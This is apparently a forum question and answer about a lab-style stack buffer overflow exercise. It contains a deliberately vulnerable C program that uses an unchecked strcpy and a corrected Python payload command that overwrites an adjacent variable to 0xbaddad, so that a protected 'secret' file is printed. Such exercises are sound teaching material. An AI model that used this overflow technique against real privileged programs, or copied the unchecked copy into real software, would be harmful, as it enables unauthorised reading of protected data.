Buffer Overflow exploit in C - memory

Question

Given below is the code from file q2.c
I need to use memory exploit to read the content of file 'secret' that has no read permission for my group.
I tried using ./q2 $(python -c 'print "\xad\xdd\xba"*1024 ') to get the output from file 'secret' (look line 28), but probably I did some mistake.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
int main(int argc, char **argv)
{
// the struct is used to ensure the loc variables are in the same order
// without struct, compiler can swap these around making expolit impossible
struct {
char buffer[1024];
volatile int changeme;
} locals;
locals.changeme = 0;
if (argc != 2) {
printf("Usage: q2 <some string>\n");
return 1;
}
// copy argument to the buffer
strcpy(locals.buffer, argv[1]);
// reveal the secret if "changeme" has been changed
if (locals.changeme == 0xbaddad) {
setreuid(geteuid(),getegid());
system("cat /home/q2/secret");
}
else {
printf("Try again!\n");
}
exit(0);
}

Answer 1

The problem occurs when you pass the arguments from the command:
$(python -c 'print "\xad\xdd\xba"*1024 ')
Here \xad\xdd\xba, actually takes 3 bytes so it becomes 3*1024 bytes. Also 1024 is not divisible by 3, if the buffer was of size 1023, then it would have work.
So instead of this try:
$(python -c 'print "\xab" * 1024 + "\xad\xdd\xba"')
It will fill the buffer with \xab, then for the next three bytes, it will fill the integer with the value you want.